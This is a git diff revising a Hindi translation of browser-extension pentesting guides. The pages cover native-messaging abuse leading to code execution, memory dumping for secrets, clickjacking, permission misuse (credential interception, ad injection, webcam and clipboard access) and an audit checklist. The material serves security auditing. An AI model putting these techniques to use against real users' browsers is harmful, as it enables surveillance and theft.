"name": "com.my_company.my_application",
@@ -559,23 +559,23 @@ console.log("Received " + response)
इस [**ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में एक कमजोर पैटर्न जो स्थानीय संदेशों का दुरुपयोग करता है, प्रस्तावित किया गया है:
1. ब्राउज़र एक्सटेंशन के लिए सामग्री स्क्रिप्ट के लिए एक वाइल्डकार्ड पैटर्न है।
-2. सामग्री स्क्रिप्ट `sendMessage` का उपयोग करके पृष्ठभूमि स्क्रिप्ट को `postMessage` संदेश भेजती है।
-3. पृष्ठभूमि स्क्रिप्ट संदेश को स्थानीय एप्लिकेशन को `sendNativeMessage` का उपयोग करके भेजती है।
+2. सामग्री स्क्रिप्ट `sendMessage` का उपयोग करके बैकग्राउंड स्क्रिप्ट को `postMessage` संदेश भेजती है।
+3. बैकग्राउंड स्क्रिप्ट संदेश को `sendNativeMessage` का उपयोग करके स्थानीय एप्लिकेशन को भेजती है।
4. स्थानीय एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है।
और इसके अंदर **किसी भी पृष्ठ से RCE तक जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**।
## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी
-यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
+यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर स्टोर करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
-इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**।
+इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **स्टोर नहीं किए जाने चाहिए**।
बेशक, **कोड में संवेदनशील जानकारी न डालें**, क्योंकि यह **सार्वजनिक** होगी।
-ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रक्रिया मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** अनुभाग में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं।
+ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रक्रिया मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** पर जाने के लिए **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं।
-इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कुंजी या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम कुछ सेकंड में इसे क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
+इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कुंजी या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम इसे कुछ सेकंड में क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
## ब्राउज़र में एक एक्सटेंशन लोड करना
@@ -606,7 +606,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### CRX व्यूअर एक्सटेंशन का उपयोग करें
-एक और सुविधाजनक विधि Chrome एक्सटेंशन सोर्स व्यूअर का उपयोग करना है, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome वेब स्टोर](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से स्थापित किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub रिपॉजिटरी](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
+एक और सुविधाजनक तरीका Chrome Extension Source Viewer का उपयोग करना है, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से इंस्टॉल किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub repository](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
### स्थानीय रूप से स्थापित एक्सटेंशन का सोर्स देखें
@@ -614,7 +614,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
1. `chrome://version/` पर जाकर अपने Chrome स्थानीय प्रोफ़ाइल निर्देशिका तक पहुँचें और "Profile Path" फ़ील्ड को खोजें।
2. प्रोफ़ाइल निर्देशिका के भीतर `Extensions/` उपफ़ोल्डर पर जाएँ।
-3. इस फ़ोल्डर में सभी स्थापित एक्सटेंशन्स होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
+3. इस फ़ोल्डर में सभी स्थापित एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
एक्सटेंशनों की पहचान करने के लिए, आप उनके IDs को नामों से मैप कर सकते हैं:
@@ -623,24 +623,24 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### फ़ाइल आर्काइवर या अनपैकर का उपयोग करें
-Chrome वेब स्टोर पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें।
+Chrome Web Store पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें।
### Chrome में डेवलपर मोड का उपयोग करें
-Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
+Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट
-कमजोर ब्राउज़र एक्सटेंशनों को पहचानने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और संभावित कमजोर संकेतों के लिए उनके मैनिफेस्ट फ़ाइलों की जांच कर सकते हैं। उदाहरण के लिए, 25000 से अधिक उपयोगकर्ताओं, `content_scripts` और अनुमति `nativeMessaging` वाले एक्सटेंशनों की जांच करने के लिए:
+कमजोर ब्राउज़र एक्सटेंशनों को पहचानने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और संभावित कमजोर संकेतों के लिए उनके मैनिफेस्ट फ़ाइलों की जांच कर सकते हैं। उदाहरण के लिए, 25000 से अधिक उपयोगकर्ताओं वाले एक्सटेंशनों, `content_scripts` और अनुमति `nativeMessaging` की जांच करने के लिए:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## सुरक्षा ऑडिट चेकलिस्ट
-हालांकि ब्राउज़र एक्सटेंशन में **सीमित हमले की सतह** होती है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
+हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमले का क्षेत्र** होता है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
-- [ ] **अनुरोध की गई** **`permissions`** को यथासंभव सीमित करें
+- [ ] **अनुरोधित** **`permissions`** को यथासंभव सीमित करें
- [ ] **`host_permissions`** को यथासंभव सीमित करें
- [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें
- [ ] **`externally_connectable`** को यथासंभव सीमित करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
@@ -649,12 +649,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें
- [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं।
- [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/)** के लिए जांचें।**
-- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों तक पहुंचती है**, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
+- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
- [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें
-- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और साफ है
-- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **कोड** के अंदर **स्टोर नहीं किया जाना चाहिए**
-- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **मेमोरी** के अंदर **स्टोर नहीं किया जाना चाहिए**
-- [ ] **संवेदनशील जानकारी को बिना सुरक्षा के फ़ाइल प्रणाली** के अंदर **स्टोर नहीं किया जाना चाहिए**
+- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और स्वच्छ है
+- [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **कोड** के अंदर **नहीं रखा जाना चाहिए**
+- [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **मेमोरी** के अंदर **नहीं रखा जाना चाहिए**
+- [ ] **संवेदनशील जानकारी को** **फाइल सिस्टम में असुरक्षित** **नहीं रखा जाना चाहिए**
## ब्राउज़र एक्सटेंशन जोखिम
@@ -668,9 +668,9 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटीफाइड संस्करण प्रदर्शित करता है।
- **फिंगरप्रिंट विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
- **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से कमजोर हो सकते हैं।
-- **अनुमति चेतावनी दर्शक**: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
+- **अनुमति चेतावनी** दर्शक: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
- **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे, innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)।
-- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन की सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
+- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
- खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं:
- संबंधित कोड स्निपेट और वह पंक्ति जिसने अलर्ट का कारण बना।
- समस्या का विवरण।
@@ -684,7 +684,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें।
- मूल एक्सटेंशन डाउनलोड करें।
- एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से सुंदर HTML और जावास्क्रिप्ट)।
-- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यदि एक्सटेंशन को अपडेट नहीं किया गया है, तो परिणाम कैश किए जाने के कारण लगभग तात्कालिक होगा।
+- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि, दूसरी बार, यह मानते हुए कि एक्सटेंशन को अपडेट नहीं किया गया है, परिणामों के कैश होने के कारण लगभग तात्कालिक होगा।
- लिंक करने योग्य रिपोर्ट URL, किसी अन्य व्यक्ति को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें।
### [Neto](https://github.com/elevenpaths/neto)
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index 6b3717964..da7e8769b 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -15,11 +15,11 @@
> ये संसाधन फिर एक वेबपृष्ठ में URL **`chrome-extension://[PACKAGE ID]/[PATH]`** के माध्यम से उपलब्ध होंगे, जिसे **`extension.getURL method`** के साथ उत्पन्न किया जा सकता है। Allowlisted संसाधन उचित CORS हेडर के साथ परोसे जाते हैं, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
-एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन के अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:
+एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन की अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:
- एक्सटेंशन की स्थिति बदलना
- अतिरिक्त संसाधन लोड करना
-- ब्राउज़र के साथ एक निश्चित हद तक बातचीत करना
+- ब्राउज़र के साथ एक निश्चित हद तक इंटरैक्ट करना
हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। यदि **`web_accessible_resources`** के भीतर कोई संसाधन महत्वपूर्ण कार्यक्षमता रखता है, तो एक हमलावर संभावित रूप से इस संसाधन को एक बाहरी वेब पृष्ठ में एम्बेड कर सकता है। इस पृष्ठ पर जाने वाले अनजान उपयोगकर्ता अनजाने में इस एम्बेडेड संसाधन को सक्रिय कर सकते हैं। ऐसी सक्रियता अनपेक्षित परिणामों का कारण बन सकती है, जो एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करती है।
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index b6f47938a..8cdb6dc15 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -50,40 +50,40 @@ Permissions को extension के **`manifest.json`** फ़ाइल मे
### सामग्री स्क्रिप्ट चलाना
-सामग्री स्क्रिप्ट को एक्सटेंशन मैनिफेस्ट में स्थिर रूप से नहीं लिखा गया है। पर्याप्त **`host_permissions`** दिए जाने पर, **एक्सटेंशन उन्हें गतिशील रूप से लोड कर सकते हैं** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **या** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) को कॉल करके।
+सामग्री स्क्रिप्ट को एक्सटेंशन मैनिफेस्ट में स्थिर रूप से नहीं लिखा जाना चाहिए। पर्याप्त **`host_permissions`** के साथ, **एक्सटेंशन उन्हें गतिशील रूप से लोड कर सकते हैं** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **या** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) को कॉल करके।
-दोनों APIs केवल एक्सटेंशनों में सामग्री स्क्रिप्ट के रूप में निहित फ़ाइलों को निष्पादित करने की अनुमति नहीं देती हैं बल्कि **मनमाने कोड** को भी निष्पादित करने की अनुमति देती हैं। पहला जावास्क्रिप्ट कोड को एक स्ट्रिंग के रूप में पास करने की अनुमति देता है जबकि दूसरा एक जावास्क्रिप्ट फ़ंक्शन की अपेक्षा करता है जो इंजेक्शन कमजोरियों के प्रति कम संवेदनशील होता है। फिर भी, यदि इनका दुरुपयोग किया जाए तो दोनों APIs तबाही मचा सकती हैं।
+दोनों APIs केवल एक्सटेंशन में सामग्री स्क्रिप्ट के रूप में निहित फ़ाइलों को निष्पादित करने की अनुमति नहीं देती हैं बल्कि **मनमाने कोड** को भी निष्पादित करने की अनुमति देती हैं। पहला जावास्क्रिप्ट कोड को एक स्ट्रिंग के रूप में पास करने की अनुमति देता है जबकि दूसरा एक जावास्क्रिप्ट फ़ंक्शन की अपेक्षा करता है जो इंजेक्शन कमजोरियों के प्रति कम संवेदनशील होता है। फिर भी, यदि इनका दुरुपयोग किया जाए तो दोनों APIs तबाही मचा सकती हैं।
> [!CAUTION]
-> ऊपर की क्षमताओं के अलावा, सामग्री स्क्रिप्ट उदाहरण के लिए **क्रेडेंशियल्स को इंटरसेप्ट** कर सकती हैं जब ये वेब पृष्ठों में दर्ज किए जाते हैं। इन्हें दुरुपयोग करने का एक और क्लासिक तरीका है **हर एक वेबसाइट पर विज्ञापन डालना।** समाचार वेबसाइटों की विश्वसनीयता को नुकसान पहुँचाने के लिए **धोखाधड़ी संदेश** जोड़ना भी संभव है। अंततः, वे **बैंकिंग** वेबसाइटों को पैसे के ट्रांसफर को पुनर्निर्देशित करने के लिए **हेरफेर** कर सकते हैं।
+> ऊपर की क्षमताओं के अलावा, सामग्री स्क्रिप्ट उदाहरण के लिए **क्रेडेंशियल्स को इंटरसेप्ट** कर सकती हैं जब ये वेब पृष्ठों में दर्ज किए जाते हैं। इन्हें दुरुपयोग करने का एक और क्लासिक तरीका है **हर एक वेबसाइट पर विज्ञापन इंजेक्ट करना।** समाचार वेबसाइटों की विश्वसनीयता को दुरुपयोग करने के लिए **धोखाधड़ी संदेश** जोड़ना भी संभव है। अंततः, वे **बैंकिंग** वेबसाइटों को पैसे के ट्रांसफर को पुनर्निर्देशित करने के लिए **हेरफेर** कर सकते हैं।
### निहित विशेषाधिकार
-कुछ एक्सटेंशन विशेषाधिकार **स्पष्ट रूप से घोषित करने की आवश्यकता नहीं होती।** एक उदाहरण [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) है: इसकी मूल कार्यक्षमता बिना किसी विशेषाधिकार के सुलभ है। कोई भी एक्सटेंशन तब खोले जाने और बंद किए जाने पर सूचित किया जा सकता है, यह केवल यह नहीं जानता कि ये टैब किस वेबसाइट से संबंधित हैं।
+कुछ एक्सटेंशन विशेषाधिकार **स्पष्ट रूप से घोषित करने की आवश्यकता नहीं है।** एक उदाहरण [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) है: इसकी मूल कार्यक्षमता बिना किसी विशेषाधिकार के सुलभ है। कोई भी एक्सटेंशन तब खोले जाने और बंद होने पर सूचित किया जा सकता है, यह केवल यह नहीं जानता कि ये टैब किस वेबसाइट से संबंधित हैं।
-क्या यह बहुत हानिरहित लगता है? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) कुछ कम हानिरहित है। इसका उपयोग **एक नया टैब बनाने के लिए किया जा सकता है**, जो मूल रूप से [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) के समान है जिसे कोई भी वेबसाइट कॉल कर सकती है। फिर भी जबकि `window.open()` **पॉप-अप ब्लॉकर के अधीन है, `tabs.create()` नहीं है।**
+क्या यह बहुत हानिरहित लगता है? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) कुछ कम हानिकारक है। इसका उपयोग **एक नया टैब बनाने के लिए** किया जा सकता है, जो मूल रूप से [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) के समान है जिसे कोई भी वेबसाइट कॉल कर सकती है। फिर भी जबकि `window.open()` **पॉप-अप ब्लॉकर के अधीन है, `tabs.create()` नहीं है।**
> [!CAUTION]
> एक एक्सटेंशन जब चाहे तब किसी भी संख्या में टैब बना सकता है।
-यदि आप संभावित `tabs.create()` पैरामीटर के माध्यम से देखते हैं, तो आप यह भी देखेंगे कि इसकी क्षमताएँ `window.open()` द्वारा नियंत्रित होने की अनुमति से कहीं अधिक हैं। और जबकि फ़ायरफ़ॉक्स इस API के साथ `data:` URIs के उपयोग की अनुमति नहीं देता, क्रोम में ऐसी कोई सुरक्षा नहीं है। **इस तरह के URIs के शीर्ष स्तर पर उपयोग को** [**फिशिंग के लिए दुरुपयोग किए जाने के कारण प्रतिबंधित कर दिया गया है**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**।**
+यदि आप संभावित `tabs.create()` पैरामीटर के माध्यम से देखते हैं, तो आप यह भी देखेंगे कि इसकी क्षमताएँ `window.open()` द्वारा नियंत्रित करने की अनुमति से कहीं अधिक हैं। और जबकि फ़ायरफ़ॉक्स इस API के साथ `data:` URIs के उपयोग की अनुमति नहीं देता है, क्रोम में ऐसी कोई सुरक्षा नहीं है। **इस तरह के URIs के शीर्ष स्तर पर उपयोग को** [**फिशिंग के लिए दुरुपयोग किए जाने के कारण प्रतिबंधित कर दिया गया है**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**।**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` के समान है लेकिन **एक मौजूदा टैब को संशोधित करेगा।** इसलिए एक दुर्भावनापूर्ण एक्सटेंशन उदाहरण के लिए मनमाने ढंग से आपके टैब में एक विज्ञापन पृष्ठ लोड कर सकता है, और यह संबंधित टैब को भी सक्रिय कर सकता है।
### वेबकैम, भू-स्थान और मित्र
-आप शायद जानते हैं कि वेबसाइटें विशेष अनुमतियाँ मांग सकती हैं, जैसे कि आपके वेबकैम (वीडियो कॉन्फ्रेंसिंग उपकरण) या भौगोलिक स्थान (मानचित्र) तक पहुँचने के लिए। यह दुरुपयोग की संभावनाओं के साथ विशेषताएँ हैं, इसलिए उपयोगकर्ताओं को हर बार यह पुष्टि करनी होती है कि वे अभी भी इसे चाहते हैं।
+आप शायद जानते हैं कि वेबसाइटें विशेष अनुमतियाँ मांग सकती हैं, जैसे कि आपके वेबकैम (वीडियो कॉन्फ्रेंसिंग उपकरण) या भौगोलिक स्थान (मानचित्र) तक पहुँचने के लिए। यह दुरुपयोग की पर्याप्त संभावनाओं के साथ विशेषताएँ हैं, इसलिए उपयोगकर्ताओं को हर बार यह पुष्टि करनी होती है कि वे अभी भी इसे चाहते हैं।
> [!CAUTION]
> ब्राउज़र एक्सटेंशनों के साथ ऐसा नहीं है। **यदि एक ब्राउज़र एक्सटेंशन** [**आपके वेबकैम या माइक्रोफोन तक पहुँच चाहता है**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, तो इसे केवल एक बार अनुमति मांगने की आवश्यकता होती है।**
-आमतौर पर, एक एक्सटेंशन इसे स्थापित होने के तुरंत बाद करेगा। एक बार जब इस प्रॉम्प्ट को स्वीकार कर लिया जाता है, तो **किसी भी समय वेबकैम तक पहुँच संभव है**, भले ही उपयोगकर्ता इस समय एक्सटेंशन के साथ बातचीत नहीं कर रहा हो। हाँ, एक उपयोगकर्ता केवल तभी इस प्रॉम्प्ट को स्वीकार करेगा जब एक्सटेंशन को वास्तव में वेबकैम की आवश्यकता हो। लेकिन उसके बाद उन्हें एक्सटेंशन पर भरोसा करना होगा कि वह कुछ भी गुप्त रूप से रिकॉर्ड नहीं करेगा।
+आमतौर पर, एक एक्सटेंशन ऐसा करने के लिए स्थापित होने के तुरंत बाद ऐसा करेगा। एक बार जब इस प्रॉम्प्ट को स्वीकार कर लिया जाता है, तो **किसी भी समय वेबकैम तक पहुँच संभव है**, भले ही उपयोगकर्ता इस समय एक्सटेंशन के साथ बातचीत नहीं कर रहा हो। हाँ, एक उपयोगकर्ता केवल तभी इस प्रॉम्प्ट को स्वीकार करेगा जब एक्सटेंशन को वास्तव में वेबकैम की आवश्यकता हो। लेकिन उसके बाद उन्हें एक्सटेंशन पर भरोसा करना होगा कि वह कुछ भी गुप्त रूप से रिकॉर्ड नहीं करेगा।
-[आपके सटीक भौगोलिक स्थान](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) या [आपकी क्लिपबोर्ड की सामग्री](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) तक पहुँच प्राप्त करने के लिए, अनुमति स्पष्ट रूप से देना पूरी तरह से अनावश्यक है। **एक एक्सटेंशन बस अपने मैनिफेस्ट के** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **में `geolocation` या `clipboard` जोड़ता है।** ये पहुँच विशेषाधिकार तब स्वचालित रूप से दिए जाते हैं जब एक्सटेंशन स्थापित होता है। इसलिए एक दुर्भावनापूर्ण या समझौता किया गया एक्सटेंशन इन विशेषाधिकारों के साथ आपकी गतिविधियों की प्रोफ़ाइल बना सकता है या आपकी क्लिपबोर्ड की निगरानी कर सकता है कि आपने पासवर्ड कॉपी किए बिना आप कुछ भी नहीं देखेंगे।
